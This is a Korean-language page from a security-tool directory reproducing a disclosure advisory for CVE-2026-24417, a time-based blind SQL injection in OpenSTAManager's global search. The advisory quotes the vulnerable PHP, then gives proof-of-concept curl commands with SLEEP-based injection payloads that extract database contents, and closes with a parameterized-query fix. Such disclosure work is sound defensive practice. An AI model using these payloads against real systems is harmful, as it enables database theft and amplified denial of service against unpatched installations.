Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24417 — CVE-2026-24417 - OpenSTAManager에 시간 기반 블라인드 SQL 인젝션 및 증폭된 서비스 거부 취약점 | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2026-24417
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2026-24417

CVE-2026-24417

CVE-2026-24417 - OpenSTAManager에 시간 기반 블라인드 SQL 인젝션 및 증폭된 서비스 거부 취약점

저장소 보기
45개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-24417: OpenSTAManager에 시간 기반 블라인드 SQL 인젝션 및 증폭된 서비스 거부 취약점 존재

개요

필드세부정보
CVE IDCVE-2026-24417
심각도높음
권고권고 보기
발견자Lukasz Rybak

영향을 받는 제품

  • devcode-it/openstamanager (버전: < 2.9.8)

CWE 분류

  • CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중립화 ('SQL 인젝션')

세부정보

요약

OpenSTAManager v2.9.8의 여러 검색 모듈에 영향을 미치는 심각한 시간 기반 블라인드 SQL 인젝션 취약점으로, 인증된 공격자가 시간 기반 부울 추론 공격을 통해 비밀번호 해시, 고객 데이터, 재무 기록을 포함한 민감한 데이터베이스 내용을 추출할 수 있으며, 10개 이상의 모듈에서 증폭된 실행이 가능합니다.

상태: ✅ 실제 인스턴스(v2.9.8)에서 확인 및 테스트 완료 취약한 매개변수: term (GET) 영향받는 엔드포인트: /ajax_search.php 영향받는 모듈: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi

상세 설명

OpenSTAManager v2.9.8에는 전역 검색 기능에 심각한 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다. 애플리케이션이 여러 모듈별 검색 핸들러에서 SQL LIKE 절에 사용하기 전에 term 매개변수를 적절히 살균하지 못하여 공격자가 임의의 SQL 명령을 주입하고 시간 기반 부울 추론을 통해 민감한 데이터를 추출할 수 있습니다.

취약점 체인:

  1. 진입점: /ajax_search.php (30-31행)

    root@kitploit:~
    $term = get('term');
    $term = str_replace('/', '\\/', $term);
    

    $term 매개변수는 최소한의 살균(슬래시만 대체)만 수행됩니다.

  2. 분배: /src/AJAX.php::search() (159-161행)

    root@kitploit:~
    $files = self::find('ajax/search.php');
    array_unshift($files, base_dir().'/ajax_search.php');
    foreach ($files as $file) {
        $module_results = self::getSearchResults($file, $term);
    

    살균되지 않은 $term이 모든 모듈별 검색 핸들러에 전달됩니다.

  3. 실행: /src/AJAX.php::getSearchResults() (373행)

    root@kitploit:~
    require $file;
    

    각 모듈의 search.php 파일이 $term 변수를 범위 내에 포함시킨 상태로 포함됩니다.

  4. 취약한 SQL 쿼리: 여러 모듈이 prepare() 없이 $term을 직접 연결합니다.

영향을 받는 모든 파일 (10개 이상의 취약 인스턴스):

  1. /modules/articoli/ajax/search.php - 51행 (주요 예시)

    root@kitploit:~
    foreach ($fields as $name => $value) {
        $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    }
    $rs = $dbo->fetchArray($query);
    

    영향: prepare() 없이 직접 연결되어 완전한 SQL 인젝션 허용.

  2. /modules/ordini/ajax/search.php - 43, 47행

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
    
  3. /modules/ddt/ajax/search.php - 43, 47행

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  4. /modules/fatture/ajax/search.php - 45, 49행

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  5. /modules/preventivi/ajax/search.php - 45, 49행

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  6. /modules/anagrafiche/ajax/search.php - 62, 107, 162행

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  7. /modules/impianti/ajax/search.php - 46행

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    

적절히 살균됨 (취약하지 않음):

  • /modules/contratti/ajax/search.php - prepare() 올바르게 사용
  • /modules/automezzi/ajax/search.php - prepare() 올바르게 사용

참고: 이 취약점은 증폭된 실행이 가능합니다. 단일 악성 요청이 동시에 모든 취약한 모듈에서 SQL 인젝션을 트리거하여 시간 기반 공격을 요청당 10회 이상 실행하게 하고, 지연을 배가시켜 라이브 데모 인스턴스에서 관찰된 대로 504 게이트웨이 시간 초과 오류를 유발합니다.

image

PoC

1단계: 로그인

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

2단계: 취약점 확인 (시간 기반 SLEEP)

root@kitploit:~
# SLEEP(1) 테스트 - 증폭된 실행으로 인해 약 85초 이상 소요
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# 결과: real 72.29s

# SLEEP(0) 테스트 - 빠르게 응답
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# 결과: real 0.30s
image

3단계: 데이터 추출 - 데이터베이스 이름

root@kitploit:~
# 데이터베이스 이름의 첫 번째 문자 추출 (예상: 'openstamanager'의 'o')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# 결과: real 170.32s

# 잘못된 문자 'x' 테스트 - 빠르게 응답
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# 결과: real 0m0.30s
image

영향

영향받는 사용자: 전역 검색 기능에 접근 가능한 모든 인증된 사용자.

  • 고객 PII, 재무 기록, 비즈니스 비밀을 포함한 전체 데이터베이스 유출
  • 오프라인 크래킹을 위한 비밀번호 해시 추출
  • 증폭된 시간 기반 공격이 요청당 서버 리소스를 85배 소비

권장 수정:

직접 $term 연결을 모두 prepare()로 대체하십시오:

수정 전 (취약):

root@kitploit:~
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';

수정 후 (해결):

root@kitploit:~
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');

이 수정 사항을 모든 영향을 받는 파일에 적용하십시오:

  1. /modules/articoli/ajax/search.php - 51행
  2. /modules/ordini/ajax/search.php - 43, 47, 79행
  3. /modules/ddt/ajax/search.php - 43, 47, 83행
  4. /modules/fatture/ajax/search.php - 45, 49, 85행
  5. /modules/preventivi/ajax/search.php - 45, 49, 83행
  6. /modules/anagrafiche/ajax/search.php - 62, 107, 162행
  7. /modules/impianti/ajax/search.php - 46행

참조

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24417
  • https://github.com/advisories/GHSA-4hc4-8599-xh2h

면책 조항

이 CVE는 조정된 취약점 공개 관행에 따라 책임감 있게 공개되었습니다. 여기 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드